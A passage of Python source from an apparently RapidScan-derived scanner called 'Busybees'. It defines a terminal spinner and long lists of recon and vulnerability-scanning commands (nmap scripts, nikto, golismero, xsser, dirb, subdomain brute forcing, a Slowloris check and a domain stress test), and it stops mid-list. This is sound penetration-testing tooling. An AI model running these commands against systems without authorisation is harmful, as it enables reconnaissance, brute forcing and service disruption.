self.spinner_generator = self.spinning_cursor()
if delay and float(delay): self.delay = delay
self.disabled = False
def spinner_task(self):
inc = 0
try:
while self.busy:
if not self.disabled:
x = bcolors.BG_SCAN_TXT_START+next(self.spinner_generator)+bcolors.BG_SCAN_TXT_END
inc = inc + 1
print(x,end='')
if inc>random.uniform(0,terminal_size()): #30 init
print(end="\r")
bcolors.BG_SCAN_TXT_START = '\x1b[6;30;'+str(round(random.uniform(40,47)))+'m'
inc = 0
sys.stdout.flush()
time.sleep(self.delay)
if not self.disabled:
sys.stdout.flush()
except (KeyboardInterrupt, ValueError, SystemExit):
print("\n\t"+ bcolors.BG_ERR_TXT+"Busybees received a series of Ctrl+C hits. Quitting..." +bcolors.ENDC)
sys.exit(1)
def start(self):
self.busy = True
try:
threading.Thread(target=self.spinner_task).start()
except Exception as e:
print("\n")
def stop(self):
try:
self.busy = False
time.sleep(self.delay)
except (KeyboardInterrupt, ValueError, SystemExit):
print("\n\t"+ bcolors.BG_ERR_TXT+"Busybees received a series of Ctrl+C hits. Quitting..." +bcolors.ENDC)
sys.exit(1)
# End ofloader/spinner class
# Instantiating the spinner/loader class
spinner = Spinner()
# Scanners that will be used and filename rotation (default: enabled (1))
tool_names = [
#1
["host","Host - Checks for existence of IPV6 address.","host",1],
#2
["aspnet_config_err","ASP.Net Misconfiguration - Checks for ASP.Net Misconfiguration.","wget",1],
#3
["wp_check","WordPress Checker - Checks for WordPress Installation.","wget",1],
#4
["drp_check", "Drupal Checker - Checks for Drupal Installation.","wget",1],
#5
["joom_check", "Joomla Checker - Checks for Joomla Installation.","wget",1],
#6
["uniscan","Uniscan - Checks for robots.txt & sitemap.xml","uniscan",1],
#7
["wafw00f","Wafw00f - Checks for Application Firewalls.","wafw00f",1],
#8
["nmap","Nmap - Fast Scan [Only Few Port Checks]","nmap",1],
#9
["theHarvester","The Harvester - Scans for emails using Google's passive search.","theHarvester",1],
#10
["dnsrecon","DNSRecon - Attempts Multiple Zone Transfers on Nameservers.","dnsrecon",1],
#11
#["fierce","Fierce - Attempts Zone Transfer [No Brute Forcing]","fierce",1],
#12
["dnswalk","DNSWalk - Attempts Zone Transfer.","dnswalk",1],
#13
["whois","WHOis - Checks for Administrator's Contact Information.","whois",1],
#14
["nmap_header","Nmap [XSS Filter Check] - Checks if XSS Protection Header is present.","nmap",1],
#15
["nmap_sloris","Nmap [Slowloris DoS] - Checks for Slowloris Denial of Service Vulnerability.","nmap",1],
#16
["sslyze_hbleed","SSLyze - Checks only for Heartbleed Vulnerability.","sslyze",1],
#17
["nmap_hbleed","Nmap [Heartbleed] - Checks only for Heartbleed Vulnerability.","nmap",1],
#18
["nmap_poodle","Nmap [POODLE] - Checks only for Poodle Vulnerability.","nmap",1],
#19
["nmap_ccs","Nmap [OpenSSL CCS Injection] - Checks only for CCS Injection.","nmap",1],
#20
["nmap_freak","Nmap [FREAK] - Checks only for FREAK Vulnerability.","nmap",1],
#21
["nmap_logjam","Nmap [LOGJAM] - Checks for LOGJAM Vulnerability.","nmap",1],
#22
["sslyze_ocsp","SSLyze - Checks for OCSP Stapling.","sslyze",1],
#23
["sslyze_zlib","SSLyze - Checks for ZLib Deflate Compression.","sslyze",1],
#24
["sslyze_reneg","SSLyze - Checks for Secure Renegotiation Support and Client Renegotiation.","sslyze",1],
#25
["sslyze_resum","SSLyze - Checks for Session Resumption Support with [Session IDs/TLS Tickets].","sslyze",1],
#26
["lbd","LBD - Checks for DNS/HTTP Load Balancers.","lbd",1],
#27
["golismero_dns_malware","Golismero - Checks if the domain is spoofed or hijacked.","golismero",1],
#28
["golismero_heartbleed","Golismero - Checks only for Heartbleed Vulnerability.","golismero",1],
#29
["golismero_brute_url_predictables","Golismero - BruteForces for certain files on the Domain.","golismero",1],
#30
["golismero_brute_directories","Golismero - BruteForces for certain directories on the Domain.","golismero",1],
#31
["golismero_sqlmap","Golismero - SQLMap [Retrieves only the DB Banner]","golismero",1],
#32
["dirb","DirB - Brutes the target for Open Directories.","dirb",1],
#33
["xsser","XSSer - Checks for Cross-Site Scripting [XSS] Attacks.","xsser",1],
#34
["golismero_ssl_scan","Golismero SSL Scans - Performs SSL related Scans.","golismero",1],
#35
["golismero_zone_transfer","Golismero Zone Transfer - Attempts Zone Transfer.","golismero",1],
#36
["golismero_nikto","Golismero Nikto Scans - Uses Nikto Plugin to detect vulnerabilities.","golismero",1],
#37
["golismero_brute_subdomains","Golismero Subdomains Bruter - Brute Forces Subdomain Discovery.","golismero",1],
#38
["dnsenum_zone_transfer","DNSEnum - Attempts Zone Transfer.","dnsenum",1],
#39
["fierce_brute_subdomains","Fierce Subdomains Bruter - Brute Forces Subdomain Discovery.","fierce",1],
#40
["dmitry_email","DMitry - Passively Harvests Emails from the Domain.","dmitry",1],
#41
["dmitry_subdomains","DMitry - Passively Harvests Subdomains from the Domain.","dmitry",1],
#42
["nmap_telnet","Nmap [TELNET] - Checks if TELNET service is running.","nmap",1],
#43
["nmap_ftp","Nmap [FTP] - Checks if FTP service is running.","nmap",1],
#44
["nmap_stuxnet","Nmap [STUXNET] - Checks if the host is affected by STUXNET Worm.","nmap",1],
#45
["webdav","WebDAV - Checks if WEBDAV enabled on Home directory.","davtest",1],
#46
["golismero_finger","Golismero - Does a fingerprint on the Domain.","golismero",1],
#47
["uniscan_filebrute","Uniscan - Brutes for Filenames on the Domain.","uniscan",1],
#48
["uniscan_dirbrute", "Uniscan - Brutes Directories on the Domain.","uniscan",1],
#49
["uniscan_ministresser", "Uniscan - Stress Tests the Domain.","uniscan",1],
#50
["uniscan_rfi","Uniscan - Checks for LFI, RFI and RCE.","uniscan",1],
#51
["uniscan_xss","Uniscan - Checks for XSS, SQLi, BSQLi & Other Checks.","uniscan",1],
#52
["nikto_xss","Nikto - Checks for Apache Expect XSS Header.","nikto",1],
#53
["nikto_subrute","Nikto - Brutes Subdomains.","nikto",1],
#54
["nikto_shellshock","Nikto - Checks for Shellshock Bug.","nikto",1],
#55
["nikto_internalip","Nikto - Checks for Internal IP Leak.","nikto",1],
#56
["nikto_putdel","Nikto - Checks for HTTP PUT DEL.","nikto",1],
#57
["nikto_headers","Nikto - Checks the Domain Headers.","nikto",1],
#58
["nikto_ms01070","Nikto - Checks for MS10-070 Vulnerability.","nikto",1],
#59
["nikto_servermsgs","Nikto - Checks for Server Issues.","nikto",1],
#60
["nikto_outdated","Nikto - Checks if Server is Outdated.","nikto",1],
#61
["nikto_httpoptions","Nikto - Checks for HTTP Options on the Domain.","nikto",1],
#62
["nikto_cgi","Nikto - Enumerates CGI Directories.","nikto",1],
#63
["nikto_ssl","Nikto - Performs SSL Checks.","nikto",1],
#64
["nikto_sitefiles","Nikto - Checks for any interesting files on the Domain.","nikto",1],
#65
["nikto_paths","Nikto - Checks for Injectable Paths.","nikto",1],
#66
["dnsmap_brute","DNSMap - Brutes Subdomains.","dnsmap",1],
#67
["nmap_sqlserver","Nmap - Checks for MS-SQL Server DB","nmap",1],
#68
["nmap_mysql", "Nmap - Checks for MySQL DB","nmap",1],
#69
["nmap_oracle", "Nmap - Checks for ORACLE DB","nmap",1],
#70
["nmap_rdp_udp","Nmap - Checks for Remote Desktop Service over UDP","nmap",1],
#71
["nmap_rdp_tcp","Nmap - Checks for Remote Desktop Service over TCP","nmap",1],
#72
["nmap_full_ps_tcp","Nmap - Performs a Full TCP Port Scan","nmap",1],
#73
["nmap_full_ps_udp","Nmap - Performs a Full UDP Port Scan","nmap",1],
#74
["nmap_snmp","Nmap - Checks for SNMP Service","nmap",1],
#75
["aspnet_elmah_axd","Checks for ASP.net Elmah Logger","wget",1],
#76
["nmap_tcp_smb","Checks for SMB Service over TCP","nmap",1],
#77
["nmap_udp_smb","Checks for SMB Service over UDP","nmap",1],
#78
["wapiti","Wapiti - Checks for SQLi, RCE, XSS and Other Vulnerabilities","wapiti",1],
#79
["nmap_iis","Nmap - Checks for IIS WebDAV","nmap",1],
#80
["whatweb","WhatWeb - Checks for X-XSS Protection Header","whatweb",1],
#81
["amass","AMass - Brutes Domain for Subdomains","amass",1]
]
# Command that is used to initiate the tool (with parameters and extra params)
tool_cmd = [
#1
["host ",""],
#2
["wget -O /tmp/busybees_temp_aspnet_config_err --tries=1 ","/%7C~.aspx"],
#3
["wget -O /tmp/busybees_temp_wp_check --tries=1 ","/wp-admin"],
#4
["wget -O /tmp/busybees_temp_drp_check --tries=1 ","/user"],
#5
["wget -O /tmp/busybees_temp_joom_check --tries=1 ","/administrator"],
#6
["uniscan -e -u ",""],
#7
["wafw00f ",""],
#8
["nmap -F --open -Pn ",""],
#9
["theHarvester -l 50 -b censys -d ",""],
#10
["dnsrecon -d ",""],
#11
#["fierce -wordlist xxx -dns ",""],
#12
["dnswalk -d ","."],
#13
["whois ",""],
#14
["nmap -p80 --script http-security-headers -Pn ",""],
#15
["nmap -p80,443 --script http-slowloris --max-parallelism 500 -Pn ",""],
#16
["sslyze --heartbleed ",""],
#17
["nmap -p443 --script ssl-heartbleed -Pn ",""],
#18
["nmap -p443 --script ssl-poodle -Pn ",""],
#19
["nmap -p443 --script ssl-ccs-injection -Pn ",""],
#20
["nmap -p443 --script ssl-enum-ciphers -Pn ",""],
#21
["nmap -p443 --script ssl-dh-params -Pn ",""],
#22
["sslyze --certinfo=basic ",""],
#23
["sslyze --compression ",""],
#24
["sslyze --reneg ",""],
#25
["sslyze --resum ",""],
#26
["lbd ",""],
#27
["golismero -e dns_malware scan ",""],
#28
["golismero -e heartbleed scan ",""],
#29
["golismero -e brute_url_predictables scan ",""],
#30
["golismero -e brute_directories scan ",""],
#31
["golismero -e sqlmap scan ",""],
#32
["dirb http://"," -fi"],
#33
["xsser --all=http://",""],
#34
["golismero -e sslscan scan ",""],
#35
["golismero -e zone_transfer scan ",""],
#36
["golismero -e nikto scan ",""],
#37
["golismero -e brute_dns scan ",""],
#38
["dnsenum ",""],
#39
["fierce --domain ",""],
#40
["dmitry -e ",""],
#41
["dmitry -s ",""],
#42
["nmap -p23 --open -Pn ",""],
#43
["nmap -p21 --open -Pn ",""],
#44
["nmap --script stuxnet-detect -p445 -Pn ",""],
#45
["davtest -url http://",""],
#46
["golismero -e fingerprint_web scan ",""],
#47